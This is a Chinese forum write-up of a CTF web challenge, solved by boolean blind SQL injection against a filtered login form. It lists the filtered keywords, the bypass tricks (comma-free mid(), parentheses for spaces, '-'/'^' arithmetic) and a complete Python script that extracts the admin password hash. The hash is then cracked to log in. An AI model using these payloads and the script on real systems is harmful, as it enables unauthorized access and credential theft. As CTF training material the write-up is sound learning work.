本帖最后由 young22222 于 2019-4-11 11:58 编辑
URL: [http://123.206.87.240:8007/web2/](http://123.206.87.240:8007/web2/)
做出来这道题的人很多,但是我估计很多人都是直接下载的flag,而并没有真的理解这道题的深意。
接下来我就来按照正解的方式来去挑战一下这道题。
一,试探
主页只有一个登陆框,和几个没有链接的导航。打眼看起来像是sql注入题目。
随手测试一下,用户名,密码不能为空,而且用户名不正确会弹窗:
所以是需要用户名的,测试一下admin,果然有区别:
所以猜测考点是要靠sqli获得admin的密码。
二,深入
既然猜到考点是sqli,就先fuzz一下username,发现过滤内容极多:
遇到这种棘手的情况,就只能先找找没被过滤的关键字,不难发现:```SELECT - + ^ ( ) ' SLEEP```
这么看还是给了一丢丢机会的,而且有单引号起码可以闭合了,说明大方向应该没错。可是该怎么利用其余关键字来获取密码呢?还是得先从猜测后台语句入手,再简单fuzz一下passwd,发现根本没有过滤,有三种可能:
1. 就是未对passwd进行过滤,存在注入点(事实上并不可能)
2. sql语句中没有对passwd参数直接使用
3. 先通过对username的判断,才进入对passwd的判断(经测试username为admin的情况再对paswd fuzz发现并不是这种情况)
经分析后台的查询语句应该只用到了username参数,类似于:
select * from table_name where username="$_POST['uname']"
三,攻坚
基本情况已经摸清了,接下来就是想办法在不被waf的情况下解决难题了
(一)先摸清楚注入类型
1. **闭合条件:**很简单能测出来,用 `username='-'&passwd=1`弹出passwd错误,说明果然是`'`闭合
2. **注入类型:**因为有两种弹窗的存在,我倾向于**布尔盲注**。虽然SLEEP函数没有被过滤,但是时间盲注比较麻烦。
(二)构造payload
1. 需要注意这几个常用的关键字都被过滤了:
```, and or && || 空格 注释符 REGEXP```
所以想构建Payload十分有难度。
2. 由于表中'username'字段(也可能不是这个名字)一定是一个字符串类型,但是mysql中将字符串型和数字型用等号连接时,会将字符串进行强制类型转换,举个例子:
从图中可以看出,当把字符串类型变量和数字型变量用运算符连接时,会把字符串类型转化为数字型(转化规则就是会将字符串转化为其中为数字的前几位,如果第一位是字母则为零,比如'2a'就是2,'a'就是0)
根据这个原则,就可以控制查询语句等于号之后的内容,如果为零,查询成功,反之查询失败,以此来进行布尔盲注
3. 再来进行一个测试,用`-或^`来构造0和非0
4. 模型都已经有了,把查询语句填进去就好了,注意好绕开过滤关键字就行了,用一些套路就可以了。
比如绕开逗号:mid(passwd from 1 for 1)
需要注意这道题还过滤or所以得用一个小技巧就是from -n再取反,再取 -1 ,就能每次都取到前一位的值:
绕开空格:%20,%00,%0a,%0b,/**/ 但是这道题不知道怎么回事都用不了,我就直接用括号规避了
最终脚本如下:
- import requests
- #1 - username
- #0 - passwd
- flag = ""
- for i in range (1,100):
- for j in range (33,127):
- #payload = "'^(select(ascii(mid(reverse(mid(database()from(-%d)))from(-1))))=%d)^'"%(i,j) #ctf
- #payload = "'-(select(ascii(mid(reverse(mid(database()from(-%d)))from(-1))))=%d)-'"%(i,j) #ctf
- payload = "'-(select(ascii(mid(reverse(mid((passwd)from(-%d)))from(-1))))=%d)-'"%(i,j) #0192023a7bbd73250516f069df18b500
-
- session = requests.Session()
- paramsPost = {"uname":payload,"passwd":"123"}
- headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://123.206.87.240:8007/web2/index.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
- cookies = {"PHPSESSID":"d1g873joettptppsag3h2helt63e61ea"}
- response = session.post("http://123.206.87.240:8007/web2/login.php", data=paramsPost, headers=headers, cookies=cookies)
-
- #print("Status code: %i" % response.status_code)
- #print("Response body: %s" % response.content)
- if 'illegal character' in response.content:
- print 'illegal'
- exit(0)
-
- if 'username' in response.content:
- flag=chr(j)+flag
- print flag
-
复制代码 收尾
得到密码后发现是一个32字节的字符串,猜测是md5,在SOMD5网站上破解一下得到"test123"。
用用户名和口令登陆即可进入后台,提示输入"ls"命令,输入即可得到flag。
总结
总的来说是出的很好的一道题,极大考验了多个关键字的绕过能力,写脚本能力,更进一步的掌握了SQL布尔盲注的方法,很适合每个CTFer都做一遍的题。
|